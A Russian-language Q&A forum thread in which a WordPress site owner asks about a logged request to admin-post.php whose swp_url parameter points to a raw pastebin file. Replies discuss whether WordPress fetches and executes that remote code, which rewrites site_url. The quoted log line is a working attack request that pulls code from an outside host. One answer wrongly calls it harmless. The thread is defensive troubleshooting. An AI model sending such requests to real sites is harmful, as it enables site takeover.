В логах сайта находится сайт с вредоносной активностью, что делать?

Question

[Алексей]

[22/Mar/2019:06:47:35 +0300] 0.000 0.000 301 109.228.43.17 selftrips.ru GET /wp-admin/admin-post.php?swp_debug=load_options&swp_url=https://pastebin.com/raw/Th1EKR8i HTTP/1.1 "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:64.0) Gecko/ 20100101 Firefox/64.0" "-" 755 141.8.194.54 selftrips

Антивирус прова реагирует на https://pastebin.com, так как считает что это вредоносный сайт.
1. Этот запрос откуда формируется извне или изнутри?
2. 1 Если изнутри, как понять что его формирует
2.2. Если снаружи, какие дополнительные меры стоит предпринять?

Comments

[Алексей Скляров]

Насколько я понимаю

/wp-admin/admin-post.php?swp_debug=load_options&swp_url=https://pastebin.com/raw/Th1EKR8i

это всего лишь запрос, по которому обращается сайт, причем этот сайт не pastebin.com (потому что он просто указан в качестве параметра запроса), а selftrips.ru

Answer 1

[Alex Wells]

Снаружи. Что за "антивирус" - непонятно, но pastebin - не вредоносный сайт. Стоит выкинуть ваш "антивирус".

Comments

[Robur]

pastebin - нет, а код туда загруженный - очень может быть.

[Alex Wells]

Robur, и что если там код? Если только wp не делает eval() - все будет в порядке.

Answer 2

[Vag-kuz]

Алексей, такая же проблема. По этой ссылке подругжается вредоносный код и меняет site_url в ВБ Wordpress на какой-то левый сайт. Не можем пока понять механизм этого.

Comments

[Robur]

- кто-то положил на pastebin этого зловреда, чтобы не спалить свой сервер.
- ваш вордпресс почему-то его загружает и выполняет. тут вариантов 2 - либо это делается с компа где пользователь залогинен как админ и поэтому есть права (надо разобраться как он это смог если 141.8.194.54 не ваш, или почему это происходит, если ваш), либо у вас в вордпрессе дырка.
в любом случае не помешает погуглить что делают swp_debug и swp_url